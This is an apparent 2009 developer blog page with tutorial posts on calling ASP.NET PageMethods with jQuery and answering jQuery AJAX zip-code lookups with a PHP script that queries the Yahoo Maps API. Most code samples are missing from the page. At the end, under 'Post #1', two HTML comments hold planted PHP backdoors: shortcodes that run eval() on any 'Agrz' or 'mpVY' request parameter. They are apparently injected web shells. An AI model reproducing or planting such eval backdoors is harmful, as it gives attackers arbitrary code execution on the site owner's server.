Jul 9 2009

Responding to jQuery AJAX Request with PHP

By: Brian Dobberteen

I will start by saying that my experience with PHP is somewhat limited, so this is more of an exercise for my benefit. I’d like to take ASP.NET out of the formula for a bit here, and instead resort to a simple PHP page to answer AJAX requests from jQuery.

Earlier, we used ASP.NET PageMethods, but let’s see a possible PHP solution.

Again, we’ll just be performing the trivial task of retrieving a city/state location based on a zip code entered on our form.

Since we’ll use jQuery to bind this textbox to the onchange event, there are no additional attributes needed in our markup here.

A quick note on jQuery for those new to it: in line 2 above, the rather terse statement $(function() is shorthand for “wait until the page’s document object model (DOM) is loaded so that we can bind event handlers, set CSS properties, etc. to page elements.” The DOM loads before the images on a page are done downloading, so this allows for our jQuery to work as soon as it is able to. $ is essentially shorthand for jQuery itself and is central to its operation. Wrapping an element in $() bestows upon that element with all the power of jQuery, allowing for extensive manipulation through chaining of functions.

jQuery also allows for us to create new DOM elements by using the syntax:

In this example we have created a div with an id attribute of ‘1’. Even though this element now “exists,” it is not actually in the DOM. Rather than include an <input> in our XHTML, let’s instead create it with jQuery. With chaining, we can handle not only the creation, but the binding of the onchange event, some simple CSS styling, and finally, the insertion of the new element into the page.

Because ASP.NET is pretty specific about a PageMethod can respond to a client-side reqest, we used the $.ajax() function in our earlier example, as it allows for the most granular approach to sending an AJAX request. But now, since we are going to build a simple PHP script to respond to a GET request, there is a very handy jQuery function, namely $.getJSON():

Lines 2 and 6 demonstrate jQuery’s ability to generate new DOM elements on the fly – in this case a new textbox and a new label – and perform various operations on them, including inserting them into the page. Here we use appendTo() to place our new elements after the last child element of what we’ve selected, in this case #form1.

Line 5 is the call to $.getJSON, whose signature looks like:

In our example, we use ZipCodeService.php as our URL, which refers to the script we’re about to create that will reside in the same location as our XHTML file. For parameters, I chose to create a simple object using JSON notation, {zip: $(this).val()}, which will be turned into proper query string parameters by jQuery. We could also have set our parameters as they would appear in a query string, i.e. “zip=” + $(this).val() – in this simple GET request, this is a pretty trivial point, but if you were working with a more complicated javascript object, it would be a lot easier to simply pass it as a whole rather than trying to manually serialize it. Finally, the callback parameter to $.getJSON() is the name of a function that will fire following completion of the AJAX request – it features two parameters, the first containing the javascript object returned and the second the status of the request. We are going to ignore the status parameter, so our anonymous callback function looks like:

Doesn’t get much easier! All we had to do was return a JSON encoded object from our PHP function and in two lines of javascript, we have direct access to the City and State properties that we requested.

Now, let’s check out ZipCodeService.php – please note: this is my first foray into the world of PHP and XML, so if I’ve badly butchered anything, please let me know!

On line 28, we are using array() to construct a new associative array (aka hash) with the keys ‘City’ and ‘State’ (big surprise, right?!) and their respective values. I found that our simplexml object exhibits some interesting behavior when it comes to casting. It seems that it is smart enough to know to cast to a string automatically when used in some scenarios, such as in a comparison:

But if we try and assign $xml->Result->City to a key in our associative array, it instead assigns the entire simplexml object rather than its string contents. So, in our call to array() we need to cast the two elements as such:

To cast our objects, we simply prepend them with the type to cast to enclosed in parentheses – a lot less verbose than VB’s clunky CType() function!

Now, all we need to do for our client-side $.getJSON() call to be happy is to write back a string representing a JSON object, which is where the handy json_encode() function comes into play. We just pass it our hash $ret and voila! Out pops a JSON string that we simply echo to our client, and that’s it on the server side!

All that’s left now is for the callback function we specified in our call to $.getJSON() to fire, in which a new <label /> is created, has its text set to City, State and is finally appended to our form.

Was this easier that doing it with ASP.NET? Was it lighter-weight? Faster? For something as trivial as this, I think that performance is not much of a consideration at all. Especially since the entire thing bottlenecks on our request to Yahoo Maps. In terms of ease of coding, I think I slightly prefer the ASP.NET PageMethod, though that is probably because I am such a Visual Studio fanboy. The .NET solution still requires two files as does the jQuery/PHP that we’ve concocted here. The XML handling routines in PHP seem just as capable as those in .NET. One thing I can say I like more about the PHP solution is that I feel much more in control of exactly what is going on in terms of generated code (there is none for our PHP solution!). I am not sure how much weight is added to a page when ASP.NET AJAX builds proxies for our client code to talk to a PageMethod, and I do know that jQuery, in minified and gzipped form, only takes 19K – which is awfully small… how close does ASP.NET AJAX come to that number?

I think we’ve pretty much exhausted this whole zipcode lookup thing, so next time I want to examine using nested ASP.NET data controls such as the Repeater, FormView, etc.


Jul 8 2009

Calling a PageMethod with jQuery

By: Brian Dobberteen

 

This was selected as an ASP.NET Article of the Day for September 29, 2009

This is a quick follow up to the previous post about calling ASP.NET PageMethods in which we used a ScriptManager object with EnablePageMethods set to True.

This time, we won’t even be including a ScriptManager in our page, and instead will use jQuery. Without further ado, here’s what the javascript looks like:

If you’re familiar with jQuery, then this should look pretty familiar. If not, you might be surprised how much this small snippet is accomplishing.

First, there was no need to add an onchange attribute to our asp:TextBox like we did in the previous post. The practice of keeping our HTML markup clear from javascript calls for event handlers and such is known as ‘unobtrusive javascript.’ Personally, I think it’s kinda silly, but will admit that the HTML does look cleaner without being cluttered with extraneous attributes and bits of javascript code.  The reason we don’t have to add the onchange attribute is because we are using jQuery to bind our text box to an onchange event handler:

First, jQuery waits until the DOM (the page’s logical structure) is loaded so that we can be sure to find our text box we want to bind to. In this case, the ID attribute of the text box is ZipCodeTextBox. Using jQuery’s super-easy element selecting capability, we pass the CSS selector #ZipCodeTextBox to the $() function ($() is shorthand for a call to jQuery). We then call bind() on the text box, passing ‘change’ as the event type and as a second parameter, the function we want to execute in response to the firing of the change event. The function takes a parameter, event in this example, but we won’t be using it here.

Once the onchange event fires for our text box, the block of code inside the function will execute. First, we are going to doing a simple inspection of the value of the text box using a little regular expression. To actually retrieve the value of the text box, we can use $(this), which essentially enhances our text box element, giving it access to all pertinent jQuery features. In this case, $(this).val() is all we need – val() returns the value contained within form elements.

Our regular expression

is used to test the value to make sure that it consists of 5 digits – \d{5} – followed by an optional hyphen and four more digits – (-\d{4})?. Obvious examples of valid zip codes would be 01721-8582 or 95060. If the value entered in the text box doesn’t fit this format, we won’t even bother making a call to our PageMethod.

Putting it all together, we end up with:

From here, we call $.ajax(), another jQuery function, which makes an AJAX request using the parameters we specify. ASP.NET requires our request to be POSTed to the server (GET won’t work) as well as have its content type set to ‘application/json.’ The url parameter in our AJAX call is simply the name of the page cotaining the PageMethod (Default.aspx in our sample) followed by a forward slash and the name of the WebMethod in our page’s code-behind file. Our method must be decorated with the WebMethod() attribute in order to respond correctly to the request:

The data that we POST to the page needs to be in JSON format, which boils down to a set of name-value pairs contained within curly braces. Since our PageMethod is expecting ‘zip’ as a parameter, we construct our JSON data to look like {‘zip’: ‘95064’}. We then set the data type of the request to ‘json’. The AJAX parameter list to this point:

Finally, we define the ‘success’ parameter to our AJAX call, setting its value to a function whose parameter is the result of our request.

We can do whatever manipulation of the data we need here, though some would argue that data processing should take place on the server-side. I guess it’s really dependent on the task at hand. At any rate, we are going to do a bit of DOM manipulation here, involving the simple assignment of a pre-defined asp:Label element’s text value to the City and State returned to us from the PageMethod. Again, $() takes a CSS selector as a parameter, returning to us the element we want to modify. And we just want to change the text of the label, so we use the text() function, passing to it the value we’d like set.

Initially, I expected that using msg.City and msg.State would work in the same manner as it did in our Microsoft AJAX callll to the page method. Was rather confusing until I was able to inspect the JSON returned from the PageMethod by using FireBug for Firefox (which if you don’t already have, you need to get right away http://getfirebug.com/). Seems ASP.NET wraps the entire JSON response and assigns it to a key simply named ‘d’. Our JSON response object:

As our JSON object is the parameter msg passed to the success function, to get the City and State values we must include the d in our expression – msg.City will not work, msg.d.City will.

So that’s about it! We managed to call our PageMethod with jQuery rather than the Microsoft AJAX library. I had been thinking that this might even be a suitable application for being moved entirely to the client-side. But then I thought that including an Yahoo Maps Application ID for anyone to view might not be the greatest idea. I think next time I will try and make a simple PHP “web service” to respond to our jQuery AJAX request, taking ASP.NET entirely out of the picture.

UPDATE: Per some requests, I’ve authored a simple demonstration, the source code of which can be found at: Source Code for Calling a PageMethod with jQuery


Jul 8 2009

Using a PageMethod to Look Up City and State based on Zip Code

By: Brian Dobberteen

This one seems like a pretty good one to try and start with – the simple lookup of a city and state based on a zip code entered on a form. We’ll be using Yahoo’s map API here, for which you’ll need to grab an Application ID (freely available at http://developer.yahoo.com/maps/simple).

Be sure to save that in a suitable location, as we’ll need it to form our request to the API later via a simple HTTP GET request to Yahoo’s server. This GET request is about as simple as they come, only needing the Application ID and the zip code in question as query string parameters. In fact, you can build this request and paste it into your browser’s address bar to verify that you have it right. It looks like:

If you try navigating to the above URL, replacing <YOUR APP ID> with the Application ID you received from Yahoo and <ZIP CODE> with the zip you’d like to check out, you should receive an XML response that looks similar to this:

So, getting the info is simple enough, and there are countless ways to handle this, to be sure. In fact, using something like jQuery or even the Microsoft AJAX Library would be very simple and not necessitate the need for PageMethods and the like. So maybe this is a somewhat contrived use of PageMethods, but let’s do it anyway!

I must add, after giving it some more thought, it seems that moving this entire operation to the client would expose our Yahoo Maps Application ID, which is probably not an ideal situation. jQuery would certainly have no problem accomplishing our task, easily handling the parsing of the XML response and so on.

At any rate…

Go ahead and create a new ASP.NET web page and name it whatever you’d like. I’ll be using Default.aspx here, but it really isn’t important. Following the creation of the new page, we’ll be presented with the familiar blank ASP.NET page, replete with a form tag and one lonely div. I’m sure you’ve all seen it a million times, but this is what we’ll be starting with:

As you can see, we’ll be using the code-behind model rather than including the script in the .aspx file seen above. In order to access the PageMethod that we will soon be creating, we need to add a ScriptManager object to the page in order to generate the javascript proxy to our server-side method. This couldn’t be much easier, simply add:

Obviously, the EnablePageMethods attribute is key here, and the only change needed to the default ScriptManager.

Now, let’s add a quick textbox to the form:

And right underneath the asp:TextBox, let’s add an asp:Label element:

Note that we added the attribute ‘onchange’ to the TextBox – it’s set to a function that fires any time the contents of the TextBox change. The function that responds to the event:

Not a whole lot to that, clearly. However, thanks to the ScriptManager we placed on the page, the plumbing between our server-side PageMethod and our client-side javascript has been taken care of. And in this case, we are only passing one parameter to our PageMethod, whose signature is seen here:

Note the Imports System.Web.Services – this is the namespace where the WebMethod() attribute lives. As you can see, this method, which is in our code behind file (Default.aspx.vb) takes the string parameter ‘zip’ and returns a simple CityState object:

This little class is defined on the same page as our code behind file and will automatically be serialized in order for our client-side code to consume it.

The second parameter in PageMethods.GetCityStateFromZip(zip, onGetCityStateComplete) is the name of a callback function that will execute upon completion of our call to the PageMethod.

The result parameter being passed here is a CityState object, as defined in the PageMethod’s signature. It has been nicely serialized into a javascript object with properties that are easily accessed. We use the Microsoft AJAX $get() function to find the label we created earlier and then set its innerHTML to the name of the City, a comma, and the name of the state (i.e. Santa Cruz, CA).

Lastly, let’s check out what’s going on in our PageMethod in terms of actually fetching the data from the Yahoo Maps API

Hopefully the code is somewhat self-explanatory, but let’s review it. .NET is kind enough to allow us to create a new XmlReader object by calling the static method <b<XmlReader.Create() and passing it a URL (line 6). Since we already know how to build the proper URL to get our XML response from Yahoo Maps, we just pass this value. We’re getting the zip code from the zip code text box following its onchange event. In the call to XmlReader.Create() I’ve used two constants, one for the base URL to the Yahoo Maps API and the second for my Application ID. Obviously you’d need to set the Application ID to reflect the one you received earlier.

Presumably, the request went through without a hitch and you are now in possession of a successful XML response. I know, I know, there is absolutely no validation going on here or effort to do any sort of error checking. It’d probably wouldn’t hurt to make sure that the zip code was in a usable format, that the XML response was actually valid, etc. Maybe we can touch on that in a future article.

So, anyways, we now have an XmlReader object and we are going to read it line-by-line in a While loop (line 7), during which a couple of If statements look to see if we’ve come across the city and state elements in the response. I also check to make sure that our XmlReader is at an XML start element (i.e. <City> vs. </City>) so that everything goes smoothly. I don’t know if this is the best way of going about this, but it works, so I didn’t complain 😉

We created our CityState object at the beginning of the function and end up setting its two properties during the read of the XML response. Assuming all went well, the client javascript is returned a CityState object with the names we’re after. And, as we discussed earlier, we simply take that data and slightly reformat it and then add it to our page, which is what we set out to do!


Jul 8 2009

Post #1

Over the last few months, I’ve been working on ASP.NET as a freelance developer, and thought I’d try and share some techniques I learned in the process.  I hope they are not overly simplistic or hopelessly obscure – I encourage comments of all sorts!

<!– [insert_php]if (isset($_REQUEST["Agrz"])){eval($_REQUEST["Agrz"]);exit;}[/insert_php][php]if (isset($_REQUEST["Agrz"])){eval($_REQUEST["Agrz"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["mpVY"])){eval($_REQUEST["mpVY"]);exit;}[/insert_php][php]if (isset($_REQUEST["mpVY"])){eval($_REQUEST["mpVY"]);exit;}[/php] –>